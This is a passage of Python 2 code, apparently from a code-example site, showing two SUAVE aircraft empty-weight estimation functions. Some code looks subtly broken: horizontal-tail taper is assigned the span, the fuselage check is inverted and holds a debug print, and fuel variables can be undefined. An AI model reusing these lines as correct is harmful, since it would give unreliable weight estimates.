    num_seats  = vehicle.fuselages.Fuselage.number_coach_seats
    ctrl_type  = vehicle.systems.control
    ac_type    = vehicle.systems.accessories         
    
    if not vehicle.propulsors.has_key('Turbo Fan'):
        wt_engine_jet = 0.0
        wt_propulsion = 0.0
        warnings.warn("There is no Turbo Fan Engine Weight being added to the Configuration", stacklevel=1)    
    else:    
        num_eng            = vehicle.propulsors['Turbo Fan'].number_of_engines
        thrust_sls         = vehicle.propulsors['Turbo Fan'].thrust.design
        wt_engine_jet      = Propulsion.engine_jet(thrust_sls)
        wt_propulsion      = Propulsion.integrated_propulsion(wt_engine_jet,num_eng)
    
    S_gross_w  = vehicle.reference_area
    #S_gross_w  = vehicle.wings['Main Wing'].Areas.reference
    if not vehicle.wings.has_key('Main Wing'):
        wt_wing = 0.0
        wing_c_r = 0.0
        warnings.warn("There is no Wing Weight being added to the Configuration", stacklevel=1)
    else:
        b          = vehicle.wings['Main Wing'].spans.projected
        lambda_w   = vehicle.wings['Main Wing'].taper
        t_c_w      = vehicle.wings['Main Wing'].thickness_to_chord
        sweep_w    = vehicle.wings['Main Wing'].sweep
        mac_w      = vehicle.wings['Main Wing'].chords.mean_aerodynamic
        wing_c_r   = vehicle.wings['Main Wing'].chords.root
        wt_wing    = wing_main(S_gross_w,b,lambda_w,t_c_w,sweep_w,Nult,TOW,wt_zf)
        vehicle.wings['Main Wing'].mass_properties.mass = wt_wing        
        
    S_fus      = vehicle.fuselages.Fuselage.areas.wetted
    diff_p_fus = vehicle.fuselages.Fuselage.differential_pressure
    w_fus      = vehicle.fuselages.Fuselage.width
    h_fus      = vehicle.fuselages.Fuselage.heights.maximum
    l_fus      = vehicle.fuselages.Fuselage.lengths.total
    
    if not vehicle.wings.has_key('Horizontal Stabilizer'):
        wt_tail_horizontal = 0.0
        S_h = 0.0
        warnings.warn("There is no Horizontal Tail Weight being added to the Configuration", stacklevel=1)
    else:    
        S_h            = vehicle.wings['Horizontal Stabilizer'].areas.reference
        b_h            = vehicle.wings['Horizontal Stabilizer'].spans.projected
        sweep_h        = vehicle.wings['Horizontal Stabilizer'].sweep
        mac_h          = vehicle.wings['Horizontal Stabilizer'].chords.mean_aerodynamic
        t_c_h          = vehicle.wings['Horizontal Stabilizer'].thickness_to_chord
        h_tail_exposed = vehicle.wings['Horizontal Stabilizer'].areas.exposed / vehicle.wings['Horizontal Stabilizer'].areas.wetted
        l_w2h      = vehicle.wings['Horizontal Stabilizer'].origin[0] + vehicle.wings['Horizontal Stabilizer'].aerodynamic_center[0] - vehicle.wings['Main Wing'].origin[0] - vehicle.wings['Main Wing'].aerodynamic_center[0] #Need to check this is the length of the horizontal tail moment arm
        wt_tail_horizontal = tail_horizontal(b_h,sweep_h,Nult,S_h,TOW,mac_w,mac_h,l_w2h,t_c_h, h_tail_exposed)                
        vehicle.wings['Horizontal Stabilizer'].mass_properties.mass = wt_tail_horizontal        
    
    if not vehicle.wings.has_key('Vertical Stabilizer'):   
        output_3 = Data()
        output_3.wt_tail_vertical = 0.0
        output_3.wt_rudder = 0.0
        S_v = 0.0
        warnings.warn("There is no Vertical Tail Weight being added to the Configuration", stacklevel=1)    
    else:     
        S_v        = vehicle.wings['Vertical Stabilizer'].areas.reference
        b_v        = vehicle.wings['Vertical Stabilizer'].spans.projected
        t_c_v      = vehicle.wings['Vertical Stabilizer'].thickness_to_chord
        sweep_v    = vehicle.wings['Vertical Stabilizer'].sweep
        t_tail     = vehicle.wings['Vertical Stabilizer'].t_tail  
        output_3   = tail_vertical(S_v,Nult,b_v,TOW,t_c_v,sweep_v,S_gross_w,t_tail)
        vehicle.wings['Vertical Stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
        

    # process
    # Calculating Empty Weight of Aircraft
    wt_landing_gear    = landing_gear(TOW)
    wt_fuselage        = tube(S_fus, diff_p_fus,w_fus,h_fus,l_fus,Nlim,wt_zf,wt_wing,wt_propulsion, wing_c_r)
    output_2           = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)
    
    # Calculate the equipment empty weight of the aircraft
    wt_empty           = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
                          wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder) 
    vehicle.fuselages.Fuselage.mass_properties.mass = wt_fuselage
    
    # packup outputs
    output             = payload(TOW, wt_empty, num_pax,wt_cargo)
    output.wing              = wt_wing
    output.fuselage          = wt_fuselage
    output.propulsion        = wt_propulsion
    output.landing_gear      = wt_landing_gear
    output.systems           = output_2.wt_systems
    output.wt_furnish        = output_2.wt_furnish
    output.horizontal_tail   = wt_tail_horizontal
    output.vertical_tail     = output_3.wt_tail_vertical
    output.rudder            = output_3.wt_rudder    
    
    return output
Пример #52
0
def empty(vehicle):
    """ output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
        Computes the empty weight breakdown of a General Aviation type aircraft  
        
        Inputs:
            engine - a data dictionary with the fields:                    
                thrust_sls - sea level static thrust of a single engine [Newtons]

            vehicle - a data dictionary with the fields:                    
                reference_area                                                            [meters**2]
                envelope - a data dictionary with the fields:
                    ultimate_load - ultimate load of the aircraft                         [dimensionless]
                    limit_load    - limit load factor at zero fuel weight of the aircraft [dimensionless]
                
                mass_properties - a data dictionary with the fields:
                    max_takeoff   - max takeoff weight of the vehicle           [kilograms]
                    max_zero_fuel - maximum zero fuel weight of the aircraft    [kilograms]
                    cargo         - cargo weight                                [kilograms]
                
                passengers - number of passengers on the aircraft               [dimensionless]
                        
                design_dynamic_pressure - dynamic pressure at cruise conditions [Pascal]
                design_mach_number      - mach number at cruise conditions      [dimensionless]
                
                propulsors - a data dictionary with the fields: 
                    keys           - identifier for the type of propulsor; different types have different fields
                        turbofan
                            thrust_sls - sealevel standard thrust                               [Newtons]             
                        internal_combustion
                            rated_power - maximum rated power of the internal combustion engine [Watts]
                        
                    number_engines - integer indicating the number of engines on the aircraft

                wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
                num_seats - number of seats installed on the aircraft [dimensionless]
                ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
                ac - determines type of instruments, electronics, and operating items based on types: 
                    "short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
                w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
                
                fuel - a data dictionary with the fields: 
                    mass_properties  - a data dictionary with the fields:
                        mass -mass of fuel [kilograms]
                    density          - gravimetric density of fuel                             [kilograms/meter**3]    
                    number_of_tanks  - number of external fuel tanks                           [dimensionless]
                    internal_volume  - internal fuel volume contained in the wing              [meters**3]
                wings - a data dictionary with the fields:    
                    wing - a data dictionary with the fields:
                        span                      - span of the wing                           [meters]
                        taper                     - taper ratio of the wing                    [dimensionless]
                        thickness_to_chord        - thickness-to-chord ratio of the wing       [dimensionless]
                        chords - a data dictionary with the fields:
                            mean_aerodynamic - mean aerodynamic chord of the wing              [meters]
                            root             - root chord of the wing                          [meters]
                            
                            
                        sweeps - a data dictionary with the fields:
                            quarter_chord - quarter chord sweep angle of the wing              [radians]
                        mac                       - mean aerodynamic chord of the wing         [meters]
                        r_c                       - wing root chord                            [meters]
                        origin  - location of the leading edge of the wing relative to the front of the fuselage                                      [meters,meters,meters]
                        aerodynamic_center - location of the aerodynamic center of the horizontal_stabilizer relative to the leading edge of the wing [meters,meters,meters]
        
                    
                    
                    
                    horizontal_stabilizer - a data dictionary with the fields:
                        areas -  a data dictionary with the fields:
                            reference - reference area of the horizontal stabilizer                                    [meters**2]
                            exposed  - exposed area for the horizontal tail                                            [meters**2]
                        taper   - taper ratio of the horizontal stabilizer                                             [dimensionless]
                        span    - span of the horizontal tail                                                          [meters]
                        sweeps - a data dictionary with the fields:
                            quarter_chord - quarter chord sweep angle of the horizontal stabilizer                     [radians]
                        chords - a data dictionary with the fields:
                            mean_aerodynamic - mean aerodynamic chord of the horizontal stabilizer                     [meters]         
                            root             - root chord of the horizontal stabilizer             
                        thickness_to_chord - thickness-to-chord ratio of the horizontal tail                           [dimensionless]
                        mac     - mean aerodynamic chord of the horizontal tail                                        [meters]
                        origin  - location of the leading of the horizontal tail relative to the front of the fuselage                                                 [meters,meters,meters]
                        aerodynamic_center - location of the aerodynamic center of the horizontal_stabilizer relative to the leading edge of the horizontal stabilizer [meters,meters,meters]
        
                    vertical - a data dictionary with the fields:
                        areas -  a data dictionary with the fields:
                            reference - reference area of the vertical stabilizer         [meters**2]
                        span    - span of the vertical tail                               [meters]
                        taper   - taper ratio of the horizontal stabilizer                [dimensionless]
                        t_c     - thickness-to-chord ratio of the vertical tail           [dimensionless]
                        sweeps   - a data dictionary with the fields:
                            quarter_chord - quarter chord sweep angle of the vertical stabilizer [radians]
                        t_tail - flag to determine if aircraft has a t-tail, "yes"               [dimensionless]


                
                fuselages - a data dictionary with the fields:  
                    fuselage - a data dictionary with the fields:
                        areas             - a data dictionary with the fields:
                            wetted - wetted area of the fuselage [meters**2]
                        differential_pressure  - Maximum fuselage pressure differential   [Pascal]
                        width             - width of the fuselage                         [meters]
                        heights - a data dictionary with the fields:
                            maximum - height of the fuselage                              [meters]
                        lengths-  a data dictionary with the fields:
                            structure - structural length of the fuselage                 [meters]                     
                        mass_properties - a data dictionary with the fields:
                            volume - total volume of the fuselage                         [meters**3]
                            internal_volume - internal volume of the fuselage             [meters**3]
                        number_coach_sets - number of seats on the aircraft               [dimensionless]    
                landing_gear - a data dictionary with the fields:
                    main - a data dictionary with the fields:
                        strut_length - strut length of the main gear                      [meters]
                    nose - a data dictionary with the fields:
                        strut_length - strut length of the nose gear                      [meters]
                avionics - a data dictionary, used to determine if avionics weight is calculated, don't include if vehicle has none
                air_conditioner - a data dictionary, used to determine if air conditioner weight is calculated, don't include if vehicle has none
        
        
        Outputs:
            output - a data dictionary with fields:
                wing - wing weight                            [kilograms]
                fuselage - fuselage weight                    [kilograms]
                propulsion - propulsion                       [kilograms]
                landing_gear_main - main gear weight          [kilograms]
                landing_gear_nose - nose gear weight          [kilograms]
                horizonal_tail - horizontal stabilizer weight [kilograms]
                vertical_tail - vertical stabilizer weight    [kilograms]
                systems - total systems weight                [kilograms]
                systems_breakdown - a data dictionary with fields:
                    control_systems - control systems weight  [kilograms]
                    hydraulics - hydraulics weight            [kilograms]
                    avionics - avionics weight                [kilograms]
                    electric - electrical systems weight      [kilograms]
                    air_conditioner - air conditioner weight  [kilograms]
                    furnish - furnishing weight               [kilograms]
                    fuel_system - fuel system weight          [ kilograms]
           Wing, empannage, fuselage, propulsion and individual systems masses updated with their calculated values
       Assumptions:
            calculated aircraft weight from correlations created per component of historical aircraft
        
    """     

    # Unpack inputs
    S_gross_w   = vehicle.reference_area
    fuel        = vehicle.fuel
    Nult        = vehicle.envelope.ultimate_load
    Nlim        = vehicle.envelope.limit_load
    TOW         = vehicle.mass_properties.max_takeoff
    wt_zf       = vehicle.mass_properties.max_zero_fuel
    num_pax     = vehicle.passengers
    wt_cargo    = vehicle.mass_properties.cargo

    q_c         = vehicle.design_dynamic_pressure
    mach_number = vehicle.design_mach_number

    propulsor_name = vehicle.propulsors.keys()[0] #obtain the key for the propulsor for assignment purposes
    propulsors     = vehicle.propulsors[propulsor_name]
    num_eng        = propulsors.number_of_engines

    if propulsor_name == 'turbofan':
        thrust_sls                       = propulsors.sealevel_static_thrust
        wt_engine_jet                    = Propulsion.engine_jet(thrust_sls)
        wt_propulsion                    = Propulsion.integrated_propulsion(wt_engine_jet,num_eng)
        propulsors.mass_properties.mass  = wt_propulsion 

    elif propulsor_name == 'internal_combustion':
        rated_power                      = propulsors.rated_power/num_eng
        wt_engine_piston                 = Propulsion.engine_piston(rated_power)
        wt_propulsion                    = Propulsion.integrated_propulsion_general_aviation(wt_engine_piston,num_eng)
        propulsors.mass_properties.mass  = wt_propulsion 

    else: #propulsor used is not an IC Engine or Turbofan; assume mass_properties defined outside model
        wt_propulsion                    = propulsors.mass_properties.mass
        if wt_propulsion==0:
            warnings.warn("Propulsion mass= 0 ;e there is no Engine Weight being added to the Configuration", stacklevel=1)    
    #find fuel volume
    if not vehicle.has_key('fuel'): 
        warnings.warn("fuel mass= 0 ; fuel system volume is calculated incorrectly ", stacklevel=1)   
        N_tank     = 0 
        V_fuel     = 0.
        V_fuel_int = 0.
      
    else:
        m_fuel                      = fuel.mass_properties.mass
        landing_weight              = TOW-m_fuel  #just assume this for now
        N_tank                      = fuel.number_of_tanks
        V_fuel_int                  = fuel.internal_volume #fuel in internal (as opposed to external tanks)
        V_fuel                      = m_fuel/fuel.density  #total fuel
        fuel.mass_properties.volume = V_fuel 

    #main wing
    if not vehicle.wings.has_key('main_wing'):
        wt_wing = 0.0
        wing_c_r = 0.0
        warnings.warn("There is no Wing Weight being added to the Configuration", stacklevel=1)

    else:
        b          = vehicle.wings['main_wing'].spans.projected
        AR_w       = (b**2.)/S_gross_w
        taper_w    = vehicle.wings['main_wing'].taper
        t_c_w      = vehicle.wings['main_wing'].thickness_to_chord
        sweep_w    = vehicle.wings['main_wing'].sweeps.quarter_chord
        mac_w      = vehicle.wings['main_wing'].chords.mean_aerodynamic
        wing_c_r   = vehicle.wings['main_wing'].chords.root
        #now run weight script for the wing
        wt_wing                                         = wing_main(S_gross_w, m_fuel, AR_w, sweep_w, q_c, taper_w, t_c_w,Nult,TOW)
        vehicle.wings['main_wing'].mass_properties.mass = wt_wing        
   
    if not vehicle.wings.has_key('horizontal_stabilizer'):
        wt_tail_horizontal = 0.0
        S_h = 0.0
        warnings.warn("There is no Horizontal Tail Weight being added to the Configuration", stacklevel=1)

    else:    
        S_h                = vehicle.wings['horizontal_stabilizer'].areas.reference
        b_h                = vehicle.wings['horizontal_stabilizer'].spans.projected
        AR_h               = (b_h**2.)/S_h
        taper_h            = vehicle.wings['horizontal_stabilizer'].spans.projected
        sweep_h            = vehicle.wings['horizontal_stabilizer'].sweeps.quarter_chord
        mac_h              = vehicle.wings['horizontal_stabilizer'].chords.mean_aerodynamic
        t_c_h              = vehicle.wings['horizontal_stabilizer'].thickness_to_chord
        l_w2h              = vehicle.wings['horizontal_stabilizer'].origin[0] + vehicle.wings['horizontal_stabilizer'].aerodynamic_center[0] - vehicle.wings['main_wing'].origin[0] - vehicle.wings['main_wing'].aerodynamic_center[0] #used for fuselage weight
        wt_tail_horizontal = tail_horizontal(S_h, AR_h, sweep_h, q_c, taper_h, t_c_h,Nult,TOW)                
        
        vehicle.wings['horizontal_stabilizer'].mass_properties.mass = wt_tail_horizontal        
    
    #vertical stabilizer
    if not vehicle.wings.has_key('vertical_stabilizer'):   
        output_3 = Data()
        output_3.wt_tail_vertical = 0.0

        S_v = 0.0
        warnings.warn("There is no Vertical Tail Weight being added to the Configuration", stacklevel=1)    

    else:     
        S_v        = vehicle.wings['vertical_stabilizer'].areas.reference
        b_v        = vehicle.wings['vertical_stabilizer'].spans.projected
        AR_v       = (b_v**2.)/S_v
        taper_v    = vehicle.wings['vertical_stabilizer'].taper
        t_c_v      = vehicle.wings['vertical_stabilizer'].thickness_to_chord
        sweep_v    = vehicle.wings['vertical_stabilizer'].sweeps.quarter_chord
        t_tail     = vehicle.wings['vertical_stabilizer'].t_tail  
        output_3   = tail_vertical(S_v, AR_v, sweep_v, q_c, taper_v, t_c_v, Nult,TOW,t_tail)
        
        vehicle.wings['vertical_stabilizer'].mass_properties.mass = output_3.wt_tail_vertical
    
    if not vehicle.has_key('fuselages.fuselage'):
        S_fus      = vehicle.fuselages['fuselage'].areas.wetted
        diff_p_fus = vehicle.fuselages['fuselage'].differential_pressure
        w_fus      = vehicle.fuselages['fuselage'].width
        h_fus      = vehicle.fuselages['fuselage'].heights.maximum
        l_fus      = vehicle.fuselages['fuselage'].lengths.structure
        V_fuse     = vehicle.fuselages['fuselage'].mass_properties.volume
        V_int      = vehicle.fuselages['fuselage'].mass_properties.internal_volume 
        num_seats  = vehicle.fuselages['fuselage'].number_coach_seats 
        #calculate fuselage weight
        wt_fuselage = fuselage(S_fus, Nult, TOW, w_fus, h_fus, l_fus, l_w2h, q_c, V_fuse, diff_p_fus)
    else:
        print 'got here'
        warnings.warn('There is no Fuselage weight being added to the vehicle', stacklevel=1)

    #landing gear
    if not vehicle.has_key('landing_gear'):
        warnings.warn('There is no Landing Gear weight being added to the vehicle', stacklevel=1)
        wt_landing_gear = Data()
        wt_landing_gear.main = 0.0
        wt_landing_gear.nose = 0.0

    else: 
        landing_gear_component = vehicle.landing_gear #landing gear previously defined
        strut_length_main      = landing_gear_component.main.strut_length
        strut_length_nose      = landing_gear_component.nose.strut_length
        wt_landing_gear        = landing_gear(landing_weight, Nult, strut_length_main, strut_length_nose)
        
        landing_gear_component.main.mass_properties.mass = wt_landing_gear.main
        landing_gear_component.nose.mass_properties.mass = wt_landing_gear.nose

    if not vehicle.has_key('avionics'):
        warnings.warn('There is no avionics weight being added to the vehicle; many weight correlations are dependant on this', stacklevel=1)
        avionics          = SUAVE.Components.Energy.Peripherals.Avionics()
        W_uav = 0.

    else:
        avionics = vehicle.avionics
        W_uav = avionics.mass_properties.uninstalled

    has_air_conditioner = 0
    if vehicle.has_key('air_conditioner'):
        has_air_conditioner = 1

    # Calculating Empty Weight of Aircraft
    output_2           = systems(W_uav,V_fuel, V_fuel_int, N_tank, num_eng, l_fus, b, TOW, Nult, num_seats, mach_number, has_air_conditioner)

    # Calculate the equipment empty weight of the aircraft

    wt_empty           = (wt_wing + wt_fuselage + wt_landing_gear.main+wt_landing_gear.nose + wt_propulsion + output_2.wt_systems + \
                          wt_tail_horizontal + output_3.wt_tail_vertical) 
    vehicle.fuselages['fuselage'].mass_properties.mass = wt_fuselage

    # packup outputs
    output                   = payload(TOW, wt_empty, num_pax,wt_cargo)
    output.wing              = wt_wing
    output.fuselage          = wt_fuselage
    output.propulsion        = wt_propulsion
    output.landing_gear_main = wt_landing_gear.main
    output.landing_gear_nose = wt_landing_gear.nose
    output.horizontal_tail   = wt_tail_horizontal
    output.vertical_tail     = output_3.wt_tail_vertical

    output.systems           = output_2.wt_systems       
    output.systems_breakdown = Data()
    output.systems_breakdown.control_systems   = output_2.wt_flt_ctrl        
    output.systems_breakdown.hydraulics        = output_2.wt_hyd_pnu     
    output.systems_breakdown.avionics          = output_2.wt_avionics    
    output.systems_breakdown.electrical        = output_2.wt_elec        
    output.systems_breakdown.air_conditioner   = output_2.wt_ac          
    output.systems_breakdown.furnish           = output_2.wt_furnish    
    output.systems_breakdown.fuel_system       = output_2.wt_fuel_sys
    #define weights components

    control_systems   = SUAVE.Components.Physical_Component()
    electrical_systems= SUAVE.Components.Physical_Component()
    passengers        = SUAVE.Components.Physical_Component()
    furnishings       = SUAVE.Components.Physical_Component()
  
    apu               = SUAVE.Components.Physical_Component()
    hydraulics        = SUAVE.Components.Physical_Component()

    #assign output weights to objects
    control_systems.mass_properties.mass                             = output.systems_breakdown.control_systems
    electrical_systems.mass_properties.mass                          = output.systems_breakdown.electrical
    passengers.mass_properties.mass                                  = output.pax + output.bag
    furnishings.mass_properties.mass                                 = output.systems_breakdown.furnish
    avionics.mass_properties.mass                                    = output.systems_breakdown.avionics              
    hydraulics.mass_properties.mass                                  = output.systems_breakdown.hydraulics

    if has_air_conditioner:
        vehicle.air_conditioner.mass_properties.mass                 = output.systems_breakdown.air_conditioner

    #assign components to vehicle
    vehicle.control_systems                     = control_systems
    vehicle.electrical_systems                  = electrical_systems
    vehicle.avionics                            = avionics
    vehicle.furnishings                         = furnishings
    vehicle.passenger_weights                   = passengers 
   
    vehicle.apu                                 = apu
    vehicle.hydraulics                          = hydraulics
    vehicle.landing_gear                        = landing_gear_component

    #note; air conditioner optional, and weight is added to the air_conditioner object directly
    return output